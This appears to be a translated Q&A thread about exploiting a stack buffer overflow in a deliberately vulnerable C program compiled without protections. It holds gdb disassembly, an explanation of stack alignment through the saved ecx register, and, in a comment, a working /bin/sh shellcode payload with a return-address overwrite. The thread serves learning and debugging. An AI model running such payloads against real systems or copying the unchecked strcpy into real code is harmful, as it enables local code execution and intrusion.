//vuln.c
#include <stdio.h>
#include <string.h>
int main(int argc, char* argv[]) {
char buf[256];
strcpy(buf,argv[1]);
printf("Input:%s\n",buf);
return 0;
}
在Ubuntu 16.04.6(i686)上已符合
gcc (Ubuntu 5.4.0-6ubuntu1~16.04.11) 5.4.0 20160609
像这样(禁用了ASLR):$ gcc -g -fno-stack-protector -z execstack -o vuln vuln.c
gdb反汇编:
Dump of assembler code for function main:
0x0804843b <+0>: lea ecx,[esp+0x4]
0x0804843f <+4>: and esp,0xfffffff0
0x08048442 <+7>: push DWORD PTR [ecx-0x4]
0x08048445 <+10>: push ebp
0x08048446 <+11>: mov ebp,esp
0x08048448 <+13>: push ecx
0x08048449 <+14>: sub esp,0x104
0x0804844f <+20>: mov eax,ecx
0x08048451 <+22>: mov eax,DWORD PTR [eax+0x4]
0x08048454 <+25>: add eax,0x4
0x08048457 <+28>: mov eax,DWORD PTR [eax]
0x08048459 <+30>: sub esp,0x8
0x0804845c <+33>: push eax
0x0804845d <+34>: lea eax,[ebp-0x108]
0x08048463 <+40>: push eax
0x08048464 <+41>: call 0x8048310 <strcpy@plt>
0x08048469 <+46>: add esp,0x10
0x0804846c <+49>: sub esp,0x8
0x0804846f <+52>: lea eax,[ebp-0x108]
0x08048475 <+58>: push eax
0x08048476 <+59>: push 0x8048510
0x0804847b <+64>: call 0x8048300 <printf@plt>
0x08048480 <+69>: add esp,0x10
0x08048483 <+72>: mov eax,0x0
0x08048488 <+77>: mov ecx,DWORD PTR [ebp-0x4]
0x0804848b <+80>: leave
0x0804848c <+81>: lea esp,[ecx-0x4]
0x0804848f <+84>: ret
End of assembler dump.
<当我用以下命令覆盖EIP时:
aaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkkllllmmmmnnnnooooppppqqqqrrrrssssttttuuuuvvvvwwwwxxxxyyyyzzzzAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ1111111111111111111111111111111111111111111111111111
它给我
EIP: 0x5a5a5a5a ('ZZZZ')
,这意味着返回地址的偏移量是208。那么当256时怎么可能字节缓冲区分配? main()堆栈布局如何?我认为应该是这样的:| argc
| argv
| Return address
| Caller's EBP <-- EBP
| Alignment
| Local variables <-- buf ends here
| ...
| Local variables <-- buf starts here
| ...
| ...
| ... <-- ESP
V
Lower addresses
我也很困惑为什么当参数字符串的长度大于260时我无法控制EIP。这是我的意思。
这是运行
gdb-peda$ r `python -c 'print "A"*260'`
的结果这是运行
gdb-peda$ r `python -c 'print "A"*261'`
的结果>
这是运行
gdb-peda$ r `python -c 'print "A"*262'`
的结果帮助非常感谢。谢谢!
#1 楼
函数末尾的esp
值是根据存储在堆栈中的ecx
值计算的。此值立即存储在缓冲区的“上方”(具有较高的地址),在这种情况下,缓冲区具有260
字节而不是256
(注意sub esp, 0x104
-其原因是在每次函数调用之前将堆栈对齐到16
字节)。那么为什么提供260
字节会导致分段错误呢?因为您要提供
261
字节,因为C中每个字符串的末尾都有一个额外的NULL
字节!因此,实际上是您正在覆盖存储在堆栈中的ecx
值的最低有效字节。您将其设置为0x00
,因此很可能会降低其值。函数结束时,esp
取值为ecx-0x4=previous_ecx/256-4
而不是previous_ecx-4
,因此ret
将根据该值设置eip
。如您所见,esp
很可能已减小,因此现在它指向缓冲区内的“ ZZZZ”。下图显示了该程序的堆栈布局:当您仅放置“ A”时,会发生完全相同的事情。当您放置更多的“ A”时,情况略有变化,但仅查看
ecx
所示的gdb
值:它在末尾得到更多0x41
的值,而在前面得到NULL
的字节,导致esp
更改为更多随机值。
评论
感谢你的回答!但是我仍然不确定为什么EIP在204位置(“ ZZZZ”所在的位置)会被覆盖-它距离缓冲区56个字节!此有效负载可以很好地利用溢出:python -c'print“ \ x31 \ xc0 \ x50 \ x68 \ x2f \ x2f \ x73 \ x68 \ x68 \ x2f \ x62 \ x69 \ x6e \ x89 \ xe3 \ x89 \ xc1 \ x89 \ xc2 \ xb0 \ x0b \ xcd \ x80 \ x31 \ xc0 \ x40 \ xcd \ x80“ +” a“ * 176 +” \ xbf \ xff \ xed \ x30“ [::-1] +” a“ * 52'。我先发送shellcode,然后发送“ a”垃圾,然后发送ret地址,然后再发送52个字节的“ a”垃圾。
– JoaoAlby
19年8月30日在13:22
如果ecx的最低有效字节等于0x34,则函数末尾的esp的正确值将减少0x38 = 56。如果它的lsb较大,它将进一步减小,直至259 = 0xff + 0x4。
–bart1e
19年8月30日在13:26
只需在为缓冲区分配空间之前检查堆栈的顶部,您将获得最低有效字节。
–bart1e
19年8月30日在13:32
非常感谢,现在就来!
– JoaoAlby
19年8月30日在13:39
别客气。在我的第一条评论中,我的意思是它最多可以减少255个字节,而不是259个字节,但是现在进行编辑为时已晚。
–bart1e
19年8月30日在13:45